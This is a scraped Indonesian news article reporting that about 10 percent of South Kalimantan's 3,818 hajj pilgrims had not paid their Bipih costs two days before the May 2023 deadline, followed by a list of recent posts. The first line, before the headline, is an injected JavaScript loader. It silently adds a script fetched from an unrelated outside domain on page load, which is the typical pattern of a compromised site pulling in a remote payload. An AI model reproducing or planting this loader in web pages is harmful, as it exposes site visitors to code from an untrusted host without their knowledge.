(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tinggal Dua Hari, 10 Persen Calon Jemaah Haji Kalsel Belum Lunasi Setoran Bipih


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang musim haji 2023, ribuan calon jamaah haji (CJH) asal Kalimantan Selatan (Kalsel) persiapan untuk diberangkatkan ke Tanah Suci pada 29 Mei mendatang.

Kepala Kantor Wilayah Kementerian Agama (Kakanwil Kemenag) Kalsel HM Thambrin mengatakan, total keseluruhan CJH asal Kalsel pada tahun 2023 ini atau kuota yang akan diberangkatkan sebanyak 3.818 orang.

Namun dari jumlah tersebut, hingga Rabu 10 Mei 2023, dikatakan HM Thambrin, masih ada ratusan CJH dari kabupaten/kota di Kalsel yang belum melunasi setoran Biaya Perjalanan Ibadah Haji atau Bipih.

“Sekitar 10% yang belum lunas setoran Bipih dari 3.818 orang yang akan berangkat tahun ini,” kata Kakanwil Kemenag Kalsel, kepada Kanalkalimantan.com, Rabu (10/5/2023) sore.

 Baca juga: Beri Perlindungan, 5.480 Relawan Damkar se Banjarmasin akan Diasuransikan

Sementara itu, dikatakan batas akhir perpanjangan pelunasan Bipih akan berakhir dua hari lagi, yaitu pada hari Jumat 12 Mei 2023.

Dia pun mengimbau kepada calon jemaah haji Kalsel untuk segera melakukan pelunasan setoran biaya perjalanan ibadah haji hingga batas akhir waktu perpanjangan nanti.

Sementara itu, Thambrin belum bisa membeberkan konsekuensi apa yang diterima jika para calon jemaah haji yang belum juga melunasi hingga akhir pelunasan.

Kakanwil Kemenag Kalsel HM Thambrin. Foto: rizki

“Soal konsekuensinya itu kami masih menunggu regulasi dari Kementerian,” ucap Thambrin.

Sementara itu, dijelaskan Thambrin, setidaknya ada tiga faktor yang mempengaruhinya kendala pelunasan Bipih, diantaranya karena adanya penerapan kebijakan baru.

 Baca juga: Empat Kabupaten Dapat Anggaran Pamsimas, PUPR Kalsel Gelar Bimtek

Pertama karena karena tidak adanya pendampingan bagi jemaah lansia, kedua karena tidak adanya penggabungan mahram baik antara orangtua dan anak atau istri dan suaminya, apabila tidak mendaftar bersamaan maupun salah satunya tak masuk porsi keberangkatan tahun ini.

“Yang ketiga tentu karena belum bisa bayar atau faktor ekonomi,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.